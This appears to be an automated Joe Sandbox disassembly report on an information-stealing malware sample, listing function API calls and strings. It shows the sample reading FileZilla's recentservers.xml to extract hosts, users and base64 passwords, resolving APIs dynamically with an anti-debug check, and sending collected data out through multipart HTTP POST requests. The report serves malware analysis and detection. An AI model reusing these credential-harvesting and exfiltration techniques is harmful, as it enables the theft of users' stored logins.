Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

<Pass encoding="base64">, xrefs: 0040EC9A
<User>, xrefs: 0040EC50
browser: FileZilla, xrefs: 0040ED99
password: , xrefs: 0040EE3B
profile: null, xrefs: 0040EDA8
<Host>, xrefs: 0040EBBC
<Port>, xrefs: 0040EC06
login: , xrefs: 0040EE0A
url: , xrefs: 0040EDB7
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 1f8f732c21e2e1733e6ba11255d555f2543fe3c2becc4bb10e86d61f338088f8
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: 1f8f732c21e2e1733e6ba11255d555f2543fe3c2becc4bb10e86d61f338088f8
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,042C2750), ref: 00415F11
GetProcAddress.KERNEL32(75900000,042C2528), ref: 00415F2A
GetProcAddress.KERNEL32(75900000,042C2690), ref: 00415F42
GetProcAddress.KERNEL32(75900000,042C2600), ref: 00415F5A
GetProcAddress.KERNEL32(75900000,042C2660), ref: 00415F73
GetProcAddress.KERNEL32(75900000,042C3848), ref: 00415F8B
GetProcAddress.KERNEL32(75900000,042A7B30), ref: 00415FA3
GetProcAddress.KERNEL32(75900000,042A7D50), ref: 00415FBC
GetProcAddress.KERNEL32(75900000,042C2738), ref: 00415FD4
GetProcAddress.KERNEL32(75900000,042C27E0), ref: 00415FEC
GetProcAddress.KERNEL32(75900000,042C26D8), ref: 00416005
GetProcAddress.KERNEL32(75900000,042C25E8), ref: 0041601D
GetProcAddress.KERNEL32(75900000,042A7B70), ref: 00416035
GetProcAddress.KERNEL32(75900000,042C2798), ref: 0041604E
GetProcAddress.KERNEL32(75900000,042C2708), ref: 00416066
GetProcAddress.KERNEL32(75900000,042A7B50), ref: 0041607E
GetProcAddress.KERNEL32(75900000,042C26A8), ref: 00416097
GetProcAddress.KERNEL32(75900000,042C27F8), ref: 004160AF
GetProcAddress.KERNEL32(75900000,042A7DD0), ref: 004160C7
GetProcAddress.KERNEL32(75900000,042C26C0), ref: 004160E0
GetProcAddress.KERNEL32(75900000,042A7DF0), ref: 004160F8
LoadLibraryA.KERNEL32(042C2768,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(042C2540,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(042C2618,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(042C2510,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(042C2720,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75070000,042C2780), ref: 00416172
GetProcAddress.KERNEL32(75FD0000,042C2558), ref: 00416193
GetProcAddress.KERNEL32(75FD0000,042C2570), ref: 004161AB
GetProcAddress.KERNEL32(75A50000,042C2588), ref: 004161CD
GetProcAddress.KERNEL32(74E50000,042A7E10), ref: 004161EE
GetProcAddress.KERNEL32(76E80000,042C3918), ref: 0041620F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 54.8, APIs: 22, Strings: 9, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,042C3618,?,042C8060,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,042C36C8,00000000,?,042C7240,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
RtlAllocateHeap.NTDLL(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

J&f, xrefs: 00405029
------, xrefs: 004051AD
", xrefs: 00405278
------, xrefs: 004052EF
------, xrefs: 0040506B
", xrefs: 004053BA
------, xrefs: 00404F4B
--, xrefs: 00404F34
", xrefs: 00405136

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$J&f
API String ID: 1133489818-3705675087
Opcode ID: 9a72f97dd8b00e1372afdc8a2b1b03a2c1d95120a9669ee42c4e7e237aac3cad
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: 9a72f97dd8b00e1372afdc8a2b1b03a2c1d95120a9669ee42c4e7e237aac3cad
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 47.7, APIs: 19, Strings: 8, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,042C35F8), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,042C8808,00000000,?,042C7240,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,042C3618,?,042C8060,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

J&f, xrefs: 00405878
------, xrefs: 00405746
-A, xrefs: 00405620, 00405D27, 00405623
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
------, xrefs: 004058BB
", xrefs: 00405AC6
------, xrefs: 004059FC
", xrefs: 00405985

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A$J&f
API String ID: 148854478-1022722094
Opcode ID: 7227e4c7bb0658229b088806cf99446218fe04dc775902d63d9a1b08b8f75cce
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: 7227e4c7bb0658229b088806cf99446218fe04dc775902d63d9a1b08b8f75cce
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 9441de83010d804211ba2c91efd87ba17e13f51fe28cc11ac5193f2a5a82d0e2
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: 9441de83010d804211ba2c91efd87ba17e13f51fe28cc11ac5193f2a5a82d0e2
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 091ace87055983cba41e323e99ff87893143086efc352c8c0baf1d062dbd0c7d
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: 091ace87055983cba41e323e99ff87893143086efc352c8c0baf1d062dbd0c7d
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,042C35F8), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,042C3628), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,042C3618,?,042C8060,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

J&f, xrefs: 004047A5
------, xrefs: 0040467D
", xrefs: 004049F3
------, xrefs: 00404929
", xrefs: 004048B2
------, xrefs: 004047E8

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$J&f
API String ID: 460715078-2398766951
Opcode ID: 274e3f792ec3db14fe8b5dc27bb16b9769716356b3fa8f20fb0828a67ad38914
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 274e3f792ec3db14fe8b5dc27bb16b9769716356b3fa8f20fb0828a67ad38914
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,042A6388,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

%s\%s, xrefs: 00414BEA
?, xrefs: 00414B17
- , xrefs: 00414D40

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: ea198df32fb3f38c870a1feb3a56e4a9a70f91b3b2a48daf6e3f309b18a0f3c8
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: ea198df32fb3f38c870a1feb3a56e4a9a70f91b3b2a48daf6e3f309b18a0f3c8
